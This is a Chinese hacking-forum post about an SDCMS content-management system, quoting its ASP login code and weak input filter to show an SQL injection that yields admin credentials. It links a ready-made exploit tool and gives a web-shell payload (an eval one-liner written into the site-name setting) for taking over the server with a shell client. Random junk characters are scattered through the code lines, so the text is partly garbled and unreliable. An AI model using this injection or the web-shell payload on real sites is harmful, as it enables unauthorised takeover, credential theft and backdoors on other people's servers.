中国网络渗透测试联盟

标题: SDCMS通杀漏洞利用工具及提权拿SHELL [打印本页]

作者: admin    时间: 2012-11-9 20:57
标题: SDCMS通杀漏洞利用工具及提权拿SHELL
作者:T00LS 鬼哥& T5 o" u6 {( y
漏洞文件:后台目录/index.asp8 H2 Y( @( J% y9 h6 c: a! U
  i/ Z; ?2 P& o5 ^8 ]3 W
Sub Check
$ W5 G- O& P) d* c& J5 V  P3 q  m( @    Dim username,password,code,getcode,Rs
# v9 O2 h2 ~% j4 G9 X2 j; e6 q4 e# R/ F    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub8 d' A4 z" ^2 {/ H7 ~) }
    username=FilterText(Trim(Request.Form("username")),1)
4 X+ j2 a, J! l( o& T5 L7 ]    password=FilterText(Trim(Request.Form("password")),1)
2 v+ J0 y! m! E% C+ r  c# [    code=Trim(Request.Form("yzm"))& j/ p& C% r/ y3 L$ o" z3 j
    getcode=Session("SDCMSCode")
- M3 ~( W5 d  Q  l# X    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died3 D6 ^" i0 z; n$ \- V# Z0 k
    IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)"ied
0 o: }. x/ U; X* }. u# }1 k    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)"ied
% G. H! ~9 Z+ D    IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)"ied
6 b+ v7 }' k4 q& d    IF username="" or password="" Then! `( t4 f0 L) Z$ c/ p
        Echo "用户名或密码不能为空"ied/ o7 C& R* ]9 b% A4 w4 u' c
    Else  Y" d% R6 q1 h4 Q. Q& G4 n/ j1 U
        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
7 Q  ^, z1 \6 I$ s% y: P        IF Rs.Eof Then
& J; K( |, j' Z- h# V2 V3 j            AddLog username,GetIp,"登录失败",10 p% H1 U: g& b! X
            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
4 i: H: u, _# Z! P, z        Else
' ?% b: z; a. k! A            Add_Cookies "sdcms_id",Rs(0)/ L! [7 T& t. L- n$ K% y
            Add_Cookies "sdcms_name",username: U* A- g: Y1 V: N$ }' ^
            Add_Cookies "sdcms_pwd",Rs(2)
& g; ~# q+ |- A) r5 c6 H7 D            Add_Cookies "sdcms_admin",Rs(3)/ |4 R4 w/ X. _- B( P
            Add_Cookies "sdcms_alllever",Rs(4)
4 s& x. ?& [2 h6 B& ?" k( [( D            Add_Cookies "sdcms_infolever",Rs(5)
1 ], Q8 m% h: w/ |9 L) W            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
) Z# i) ~) j/ X) J            AddLog username,GetIp,"登录成功",1
) x* g3 Q# T, I, K            '自动删除30天前的Log记录/ [3 K. K( ]2 l
            IF Sdcms_DataType Then
; m$ W  @/ l  ]2 f                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
( L0 N) T* M+ m% d            Else
1 }! |7 e5 F9 Z: X( s                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")4 h' i* O6 ~  Y0 K) N5 c
            End IF
7 h" F- H* w' ^0 q7 }# r            Go("sdcms_index.asp")
% C2 R% v/ Z. g9 w5 x        End IF
& z8 j) ]6 o2 {; P' R) T5 f3 a        Rs.Close
  H; Z2 H' @  D2 l# X        Set Rs=Nothing
; v; Z  Q/ D& J3 a4 S    End IF
! N. L" G6 a6 P' Y0 C# G4 xEnd Sub
$ j1 q  \5 ]* I% ]& D1 ~* x. e5 O6 M% o+ G
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码5 e9 l2 {2 o5 L- Y  A. N2 p
+ f: |( y) t2 [' ?" `" c
Function FilterText(ByVal t0,ByVal t1)2 d6 {& f% a, x* `! w$ e
    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
3 s" w7 a+ c- X, r2 c4 S/ G/ d    t0=Trim(t0)5 I) c, W9 d! G# P' P- j6 \7 w
    Select Case t1
7 i* f) |4 S" z0 J& w/ O        Case "1"% _) r; Y' `$ T7 g+ |" W
            t0=Replace(t0,Chr(32),"")3 J7 ?9 r' ^, q% X; g9 K& F
            t0=Replace(t0,Chr(13),"")( s0 y$ P  e9 {- m( x7 h; ?
            t0=Replace(t0,Chr(10)&Chr(10),"")5 r+ i7 l3 a8 D' T; C
            t0=Replace(t0,Chr(10),""); G# C- H4 G# ^8 u7 B/ ]
        Case "2": k2 x2 e' \9 a; [# P7 [
            t0=Replace(t0,Chr(8),"")'回格3 @, m& x. K  {8 I$ f# m
            t0=Replace(t0,Chr(9),"")'tab(水平制表符)4 o% h, Z8 l/ \) k! P
            t0=Replace(t0,Chr(10),"")'换行2 C) S$ f5 z; O
            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)0 z( m8 z7 ?# N0 ]; N; I, m# v& O
            t0=Replace(t0,Chr(12),"")'换页1 B) }* ]$ I: Q1 }+ D% z  u: h
            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
% i, k6 }7 v2 X' W/ S- J- n, |4 F            t0=Replace(t0,Chr(22),"")6 f( {2 @6 C  w" h
            t0=Replace(t0,Chr(32),"")'空格 SPACE
( O2 ?% r" |2 B0 l+ K            t0=Replace(t0,Chr(33),"")'!
9 h7 f2 L* z2 `, b, _& {            t0=Replace(t0,Chr(34),"")'"/ S# ]7 J2 @$ D' M' X8 Q
            t0=Replace(t0,Chr(35),"")'#
3 Q& @( H9 c3 B1 _0 V            t0=Replace(t0,Chr(36),"")'$( v# ~, ]. p" L% X
            t0=Replace(t0,Chr(37),"")'%% }3 [* n! y! \+ Z8 e9 v+ K
            t0=Replace(t0,Chr(38),"")'&/ a- |2 h0 M5 i4 u4 X
            t0=Replace(t0,Chr(39),"")''- c/ K5 O5 G  _& W9 T+ Z
            t0=Replace(t0,Chr(40),"")'(5 k' a5 g0 y5 y. v, z
            t0=Replace(t0,Chr(41),"")')
" N* ?, h5 [5 B4 J            t0=Replace(t0,Chr(42),"")'*
8 R2 ?' x5 _% u            t0=Replace(t0,Chr(43),"")'+
8 d- H# {' \5 v' p' i' E7 }            t0=Replace(t0,Chr(44),"")',
. [" c: h- ^% x$ N5 r% \5 J; }7 z& F            t0=Replace(t0,Chr(45),"")'-! F1 S" i6 _* v. |$ S2 e
            t0=Replace(t0,Chr(46),"")'.
1 R6 b' V8 W9 O1 ]  y- U( @) N% O            t0=Replace(t0,Chr(47),"")'/; w# j' j1 `+ v$ D9 Q
            t0=Replace(t0,Chr(58),"")':
* ~5 h3 T" d- J2 w. F            t0=Replace(t0,Chr(59),"")';
0 ~6 ]. N% F( Y5 ]            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>4 ~  l% o: S$ m; a3 d# L
            t0=Replace(t0,Chr(63),"")'?
1 U) Z/ c. `  E6 _1 D! W1 P            t0=Replace(t0,Chr(64),"")'@
. p7 S8 ^8 U7 y            t0=Replace(t0,Chr(91),"")'\
1 q) @7 n% M# Y8 y) e            t0=Replace(t0,Chr(92),"")'\2 f" C7 n+ ^: q# o, C7 ^
            t0=Replace(t0,Chr(93),"")']* _. t, T+ G  v$ Z/ G) Y6 Z' c7 A
            t0=Replace(t0,Chr(94),"")'^( t% k9 ]- q' P# Y/ a3 a& c
            t0=Replace(t0,Chr(95),"")'_7 G9 j+ R& H0 N/ |' u4 m0 M
            t0=Replace(t0,Chr(96),"")'`: M6 l4 x! k4 F6 ?& C
            t0=Replace(t0,Chr(123),"")'{
& c7 Y% Z9 U  ?7 Y1 L            t0=Replace(t0,Chr(124),"")'|; q, K$ F( s3 M" B0 E  T
            t0=Replace(t0,Chr(125),"")'}4 {/ l+ O; [+ A! P; @" M
            t0=Replace(t0,Chr(126),"")'~) v$ M1 b. V; G3 U* a" C
    Case Else1 u3 e1 I% \- ^& Q0 ^  s( X. L9 @6 P
        t0=Replace(t0, "&", "&")
, j, T7 t% g+ I7 x3 J1 b6 }( r( W1 ^        t0=Replace(t0, "'", "'")( [) l/ S0 j5 S6 ?! Z4 c
        t0=Replace(t0, """", """)
* S1 L* q+ @& V: C        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
' k# e+ J$ E7 d; o    End Select
# V! R8 r6 {# q0 i    IF Instr(Lcase(t0),"expression")>0 Then
# E; }" z2 t0 C+ `2 Y        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)! t6 R9 K1 J$ [; f# c
    End If
' _: @' w" s" h    FilterText=t02 Z; w3 r; X: I0 v- k2 W
End Function5 }6 }- Y% i4 b' |9 P8 u
0 e7 `( Y. b% m, H
看到没。直接参数是1 只过滤% b* w* q. v4 o; [3 V
                        t0=Replace(t0,Chr(32)," ")2 X/ A- ]7 c% a) c2 i! k; t3 _  R
                        t0=Replace(t0,Chr(13),"")
; [) Y) W  F) d  Q                        t0=Replace(t0,Chr(10)&Chr(10),"! F; j$ ?' ?! X% [' O
")) R) A' w0 y" P" l* \4 G
                        t0=Replace(t0,Chr(10),"$ l( ?/ g0 P9 V. z* [# d6 W
")
! Q$ |* D3 E8 |6 z" }3 c: @漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
7 e5 _' G4 T1 k; k/ @EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
$ K# N6 h* E5 p) K4 r) ]9 ^" G4 g/ i) e
测试:, T0 ]7 a" R# ^; M& w
& r& w! {0 ?" s! W/ ~

3 @  n. W. u1 }! U* F5 Y现在输入工具上验证码,然后点OK) {# a  x9 p6 W5 z7 M
2 u; s; m% V2 m8 F2 D8 t: n3 N

$ L" W0 }( ^8 l; u# d" Y" I( L看到我们直接进入后台管理界面了,呵呵!
: Y6 s- x. B1 Q) W' H. R4 q- k, a, ~% V  m
" ~% w; A& P' q: V% z" X

5 ?- F' @, y* W+ Z5 }, x5 K这样直接进入后台了。。。。/ c0 i: t' z( [1 N1 M, H; Y

! I4 V' o, g6 T0 X! d
) P) i7 M. w( o( O3 i% ?* v( ?2 s5 z! Q$ e3 ?
SDCMS提权:4 M; g' T7 [9 {( H# y
+ ?/ f" W. K  T- ~+ ]
方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’  即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
/ E$ _; i/ R. H/ P8 v0 Q' S7 ]3 U$ o8 W, ]2 x- \  p2 \: u4 h: r! h

+ D; X  y1 o& o- S2 h, _2 T9 j" U( P
OK,现在用菜刀连接下!
" F) F& V3 G9 O7 v; Y
7 ?! B: X& ]+ h. E  j. ^3 _3 H: v2 `: o  r& Z
% r4 p4 B# D0 P  H# Y" q, ?4 J

0 P; O# a" k! p" s5 {. b4 K8 p# P; ~





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2